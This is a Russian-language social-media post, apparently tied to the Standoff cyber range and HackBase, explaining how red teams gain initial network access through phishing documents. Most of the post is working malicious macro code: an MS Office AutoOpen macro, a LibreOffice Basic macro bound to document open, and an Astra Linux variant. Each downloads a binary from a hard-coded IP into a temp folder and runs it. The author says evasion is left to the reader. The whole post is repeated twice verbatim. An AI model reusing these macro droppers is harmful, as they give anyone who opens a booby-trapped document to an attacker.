Всем 👋! Это Bagley
🔺Оффтоп🔺
💬 Майские праздники уже прошли, а значит не за горами и "Крупнейшее международное соревнование для специалистов по ИБ"
1⃣ Фишинговая рассылка
2⃣ Взлом гейта (gate - обычно уязвимое веб-приложение, которое имеет доступ во внутреннюю сеть)
3⃣ Подключение к VPN, через найденный конфиг (иногда его можно найти прям на лэндинге, иногда среди исходников пробитого гейта; бывают и на тачках пользователей)
Про 2⃣ рассказывать долго, но, обычно, это вебка с общедоступным PoC'ом (который возможно необходимо будет чутка исправить)
3⃣ - это уже скорее для удобства. Когда уже пробился внутрь, если вдруг пропадёт доступ, чтоб не проходить снова все этапы (фиш, или гейт) - просто коннектишься к VPN.
А вот про 1⃣ будет этот пост!
🔘 Про то, как создать Microsoft Office документ с макросом (.doc,.docm), написано уже много статей. Оставлю здесь рабочий макрос, который поможет "полюбить" HackBase, и начать его решать
Sub AutoOpen()
AutoOpenMacro
End Sub
Sub Document_Open()
AutoOpenMacro
End Sub
Sub AutoOpenMacro()
Dim strPN As String
Dim strA As String
strPN = "powershell.exe"
strA = "wget http://10.114.252.111/YourBin.exe -O C:\Windows\Temp\YourBin.exe; C:\Windows\Temp\YourBin.exe"
Call Shell("""" & strPN & """ """ & strA & """", vbNormalFocus)
End Sub
🔘 А вдруг, в рамках импортозамещения, появится новый сегмент, в котором на хостах доки будут обрабатываться с помощью LibreOffice? Как будем фишить?
🔘 Создаём новый док (пусть будет .odt формат)
🔘 Теперь добавим сам макрос (его добавлю ниже)
Tools -> Macros -> Edit Macro...
🔘 Остаётся сделать так, чтоб этот макрос запускался
Tools -> Customize... -> Events -> Open Document (как пример)
REM ***** BASIC *****
Sub Main
Dim Path as string, EXE as string
EXE = "C:\Windows\System32\cmd.exe"
Path = """/c powershell.exe -nop wget http://10.114.252.111/YourBin.exe -O C:\Windows\Temp\YourBin.exe; C:\Windows\Temp\YourBin.exe"""
Shell(EXE, 1, Path)
End Sub
🔘 А если еще хосты будут на Astra? Тогда вот рабочий вариант:
REM ***** BASIC *****
Sub Main
Shell "wget http://10.114.252.111/payload -O /tmp/.payload"
Shell "chmod +x /tmp/.payload"
Shell "nohup /tmp/.payload"
End Sub
Про другие "фичи" Либры предлагаю почитать самостоятельно
⭐️ Тулзы:
➡️ для создания макросов на libre/open office, тык
➡️ скрипт для генерации макроса под Microsoft Office
P.S. Привел пример самого простого, но рабочего кода макросов. Накрутить всякие проверки, эвейды и прочее - уже дело лично каждого 😉
P.P.S. Если не участвуешь в майской битве, залетай на онлайн-полигон, и погружайся в атмосферу кибербитвы уже сейчас 👨💻
#learning #Standoff #HackBase #StandoffStories
🔺Оффтоп🔺
💬 Майские праздники уже прошли, а значит не за горами и "Крупнейшее международное соревнование для специалистов по ИБ"
❓ Как хакеры из Red-team команд получают доступ во внутреннюю сеть:
1⃣ Фишинговая рассылка
2⃣ Взлом гейта (gate - обычно уязвимое веб-приложение, которое имеет доступ во внутреннюю сеть)
3⃣ Подключение к VPN, через найденный конфиг (иногда его можно найти прям на лэндинге, иногда среди исходников пробитого гейта; бывают и на тачках пользователей)
Про 2⃣ рассказывать долго, но, обычно, это вебка с общедоступным PoC'ом (который возможно необходимо будет чутка исправить)
3⃣ - это уже скорее для удобства. Когда уже пробился внутрь, если вдруг пропадёт доступ, чтоб не проходить снова все этапы (фиш, или гейт) - просто коннектишься к VPN.
А вот про 1⃣ будет этот пост!
🔘 Про то, как создать Microsoft Office документ с макросом (.doc,.docm), написано уже много статей. Оставлю здесь рабочий макрос, который поможет "полюбить" HackBase, и начать его решать
Sub AutoOpen()
AutoOpenMacro
End Sub
Sub Document_Open()
AutoOpenMacro
End Sub
Sub AutoOpenMacro()
Dim strPN As String
Dim strA As String
strPN = "powershell.exe"
strA = "wget http://10.114.252.111/YourBin.exe -O C:\Windows\Temp\YourBin.exe; C:\Windows\Temp\YourBin.exe"
Call Shell("""" & strPN & """ """ & strA & """", vbNormalFocus)
End Sub
🔘 А вдруг, в рамках импортозамещения, появится новый сегмент, в котором на хостах доки будут обрабатываться с помощью LibreOffice? Как будем фишить?
🔘 Создаём новый док (пусть будет .odt формат)
🔘 Теперь добавим сам макрос (его добавлю ниже)
Tools -> Macros -> Edit Macro...
🔘 Остаётся сделать так, чтоб этот макрос запускался
Tools -> Customize... -> Events -> Open Document (как пример)
REM ***** BASIC *****
Sub Main
Dim Path as string, EXE as string
EXE = "C:\Windows\System32\cmd.exe"
Path = """/c powershell.exe -nop wget http://10.114.252.111/YourBin.exe -O C:\Windows\Temp\YourBin.exe; C:\Windows\Temp\YourBin.exe"""
Shell(EXE, 1, Path)
End Sub
🔘 А если еще хосты будут на Astra? Тогда вот рабочий вариант:
REM ***** BASIC *****
Sub Main
Shell "wget http://10.114.252.111/payload -O /tmp/.payload"
Shell "chmod +x /tmp/.payload"
Shell "nohup /tmp/.payload"
End Sub
Про другие "фичи" Либры предлагаю почитать самостоятельно
⭐️ Тулзы:
➡️ для создания макросов на libre/open office, тык
➡️ скрипт для генерации макроса под Microsoft Office
P.S. Привел пример самого простого, но рабочего кода макросов. Накрутить всякие проверки, эвейды и прочее - уже дело лично каждого 😉
P.P.S. Если не участвуешь в майской битве, залетай на онлайн-полигон, и погружайся в атмосферу кибербитвы уже сейчас 👨💻
#learning #Standoff #HackBase #StandoffStories